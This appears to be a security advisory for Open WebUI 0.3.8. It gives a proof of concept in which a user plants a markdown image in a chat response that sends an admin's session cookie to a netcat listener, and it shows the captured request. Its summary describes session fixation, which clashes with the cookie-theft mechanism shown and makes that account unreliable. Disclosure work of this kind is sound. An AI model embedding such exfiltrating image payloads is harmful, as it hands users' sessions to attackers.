Summary

Open WebUI 0.3.8 sets its session cookie without the Secure flag and with SameSite=Lax. An attacker who already has a user-level account can use that weakness to fix a session value the victim later authenticates, ending up with a valid session for the victim. NVD scores it 9.0 (Critical), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H.

Details

A user can create a chat with an LLM, and edit its response to contain a markdown picture embedding to an arbitrary location. If that user can get an administrator to view their chat, the admin cookie will be sent over HTTP to a remote server of the attacker’s choosing in the picture request.

PoC

Start a listener on the attacker machine: nc -lvp 4444

Create an administrator account and a user account. Log into the user account and create a chat with an LLM. Once the LLM has responded, edit the response and add the following: ![Evil Photo 👿](http://localhost:4444)

Log into the administrator account and navigate to the administrator panel. Then, click the small chart icon to the right of the user level account. Click the title of the chat you edited. That’s it!

Additionally, if the connection is not closed by the attacker server, the admin will have no idea they have had their cookie stolen. While the image is pending, it does not create any visible elements on the page, and the admin cannot edit the message to view the embedded markdown image.

You should recieve a callback like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on <redacted> 31985
GET / HTTP/1.1
Host: localhost:4444
Connection: keep-alive
sec-ch-ua: <redacted>
sec-ch-ua-mobile: <redacted>
User-Agent: <redacted>
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: <redacted>
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImZkZWJhNDRkLWQ1MDktNGM4OS

Impact

Account takeover. The attacker gains an authenticated session belonging to the targeted user.

Remediation

Upgrade to a fixed Open WebUI release. Mark session cookies Secure and HttpOnly, and issue a new session identifier when a user authenticates.

References